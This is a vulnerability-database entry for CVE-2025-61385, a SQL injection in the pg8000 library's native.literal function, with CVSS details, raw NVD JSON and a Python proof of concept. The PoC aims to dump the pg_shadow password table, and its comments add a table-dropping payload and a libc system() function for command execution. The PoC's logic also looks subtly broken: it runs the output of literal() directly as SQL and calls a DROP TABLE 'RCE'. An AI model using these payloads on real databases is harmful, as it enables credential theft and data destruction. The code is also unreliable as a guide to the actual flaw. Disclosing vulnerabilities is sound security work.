Security Vulnerability Report
中文
CVE-2025-61385 CVSS 9.6 CRITICAL

CVE-2025-61385

Published: 2025-10-27 18:15:44
Last Modified: 2026-04-15 00:35:42

Description

SQL injection vulnerability in tlocke pg8000 1.31.4 allows remote attackers to execute arbitrary SQL commands via a specially crafted Python list input to function pg8000.native.literal.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

pg8000 <= 1.31.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pg8000 # CVE-2025-61385 SQL Injection PoC # Affected: pg8000 <= 1.31.4 # Malicious payload that exploits the SQL injection in pg8000.native.literal malicious_list = [ "'; SELECT * FROM pg_shadow--" ] try: # Connect to PostgreSQL database conn = pg8000.connect( host="target_host", database="target_db", user="username", password="password" ) cursor = conn.cursor() # This call triggers the SQL injection vulnerability # The malicious_list is not properly sanitized result = pg8000.native.literal(malicious_list) # Execute the injected SQL cursor.execute(result) # Extract sensitive data data = cursor.fetchall() print(f"Exfiltrated data: {data}") cursor.close() conn.close() except Exception as e: print(f"Error: {e}") # Example of more dangerous payload for RCE: # malicious_payload = ["'; DROP TABLE users;--"] # or # malicious_payload = ["'; CREATE FUNCTION exec(text) returns void as '/lib/libc.so.6','system' language C strict;--"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61385", "sourceIdentifier": "[email protected]", "published": "2025-10-27T18:15:43.760", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in tlocke pg8000 1.31.4 allows remote attackers to execute arbitrary SQL commands via a specially crafted Python list input to function pg8000.native.literal."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://codeberg.org/tlocke/pg8000/commit/8663c746b02286c32f19c385f0e2e5da9e4fa140", "source": "[email protected]"}, {"url": "https://github.com/bmcyver/vulnerability-research/tree/main/CVE-2025-61385", "source": "[email protected]"}]}}